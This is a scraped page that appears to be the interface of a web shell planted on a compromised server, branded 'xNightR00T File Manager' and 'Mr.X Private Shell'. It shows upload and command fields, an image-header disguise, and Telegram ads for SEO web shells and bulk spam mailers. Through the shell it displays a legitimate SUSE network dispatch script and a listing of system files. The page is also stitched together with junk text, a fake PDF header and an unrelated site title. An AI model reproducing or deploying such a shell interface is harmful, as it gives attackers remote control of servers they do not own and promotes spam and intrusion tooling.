xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
#!/bin/bash
#
#	Dispatch custom script hook actions.
#
#	Copyright (C) 2015 SUSE LINUX GmbH, Nuernberg, Germany.
#
#	This program is free software; you can redistribute it and/or modify
#	it under the terms of the GNU General Public License as published by
#	the Free Software Foundation; either version 2 of the License, or
#	(at your option) any later version.
#
#	This program is distributed in the hope that it will be useful,
#	but WITHOUT ANY WARRANTY; without even the implied warranty of
#	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#	GNU General Public License for more details.
#
#	You should have received a copy of the GNU General Public License along
#	with this program; if not, see <http://www.gnu.org/licenses/>.
#
#	Authors:
#		Marius Tomaschewski <mt@suse.de>
###

###
### remove comment chars to trace this script:
###
#exec 2>/tmp/dispatch.$$.trace
#set -vx

shopt -s nullglob
action=$1
shift

get_scripts()
{
	test -n "$1" -a -f "$1" || return 0
	wicked xpath --file "$1" --reference '/arguments/config' '%{?script}' 2>/dev/null
}

filter_ext()
{
	case $1 in
	*.rpm*|*.old|*.bak|*.orig|*.rej|*.scpmbackup|*~|"")
		return 1 ;;
	*)	return 0 ;;
	esac
}
prepend_dir()
{
	local X="$1" ; shift
	local D S
	case $X in
	"")     ;;
	/*)	test -x "$X" && S=$X ;;
	*)	for D in "$@" ; do
			if test -x "$D/$X" ; then
				S="$D/$X"
				break
			fi
		done
	;;
	esac
	echo "$S"
}

call_systemd_service()
{
	local IFNAME=$1 ; shift
	local ACTION=$1 ; shift
	local SERVICE=$1 ; shift

	case $SERVICE in
	"")	return 1 ;;
	*@.service)
		SERVICE="${SERVICE%@.service}"
		test "X$SERVICE" = X && return 1
		SERVICE="$SERVICE@${IFNAME}.service"
	;;
	esac

	case $ACTION in
	pre-up|post-up)
		systemctl start "$SERVICE"
	;;
	pre-down|post-down)
		systemctl stop  "$SERVICE"
	;;
	esac
}

call_compat_suse_script()
{
	local INTERFACE=$1 ; shift
	local ACTION=$1    ; shift
	local SCRIPT=$1    ; shift
	local CONFIG=$INTERFACE

	export INTERFACE CONFIG
	"$SCRIPT" "$CONFIG" "$INTERFACE" -o "$ACTION"
	unset INTERFACE CONFIG
}
call_compat_suse_scripts()
{
	local IFNAME=$1 ; shift
	local ACTION=$1 ; shift
	local SCRIPT=$1 ; shift
	local DIR=/etc/sysconfig/network
	local D S

	SCRIPT=`prepend_dir "$SCRIPT" "$DIR/scripts" "$DIR"`
	if test "X$SCRIPT" = X ; then
		return 1
	elif test -d "$SCRIPT" ; then
		for S in "$SCRIPT"/* ; do
			filter_ext "${S##*/}" || continue
			test -x "$S"          || continue
			call_compat_suse_script "$IFNAME" "$ACTION" "$S"
		done
	else
		call_compat_suse_script "$IFNAME" "$ACTION" "$SCRIPT"
	fi
	return 0
}

call_wicked_script()
{
	local IFNAME=$1 ; shift
	local ACTION=$1 ; shift
	local SCRIPT=$1 ; shift

	"$SCRIPT" "$ACTION" "$IFNAME"
	return 0
}
call_wicked_scripts()
{
	local IFNAME=$1 ; shift
	local ACTION=$1 ; shift
	local SCRIPT=$1 ; shift
	local DIR=/etc/wicked
	local D S

	SCRIPT=`prepend_dir "$SCRIPT" "$DIR/scripts"`
	if test "X$SCRIPT" = X ; then
		return 1
	elif test -d "$SCRIPT" ; then
		for S in "$SCRIPT"/* ; do
			filter_ext "${S##*/}" || continue
			test -x "$S"          || continue
			call_wicked_script "$IFNAME" "$ACTION" "$S"
		done
	else
		call_wicked_script "$IFNAME" "$ACTION" "$SCRIPT"
	fi
	return 0
}

call_script()
{
	local IFNAME=$1 ; shift
	local ACTION=$1 ; shift
	local SCRIPT=$1 ; shift

	case $SCRIPT in
	compat:suse:*) call_compat_suse_scripts "$IFNAME" "$ACTION" "${SCRIPT:12}" ;;
	systemd:*)     call_systemd_service "$IFNAME" "$ACTION" "${SCRIPT:8}" ;;
	wicked:*)      call_wicked_scripts "$IFNAME" "$ACTION" "${SCRIPT:7}" ;;
	*:*|"")        return 1 ;;
	*)             call_wicked_scripts "$IFNAME" "$ACTION" "$SCRIPT" ;;
	esac
}

case $action in
pre-up|post-up|pre-down|post-down|up-timeout)
	if test -n "$WICKED_ARGFILE" ; then
		for script in `get_scripts "$WICKED_ARGFILE"` ; do
			call_script "$WICKED_INTERFACE_NAME" "$action" "$script"
		done
	fi
	disown -a
	;;
*)
	logger -p user.debug -t "wicked-dispatch" "Unsupported script action '$action'"
	;;
esac

exit 0

Filemanager

Name Type Size Permission Actions
dispatch File 3.87 KB 0755
firewall File 2.61 KB 0755
hostname File 2.76 KB 0755
ibft File 7.4 KB 0755
netconfig File 1.2 KB 0755
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
admin f – Seiko Business Matching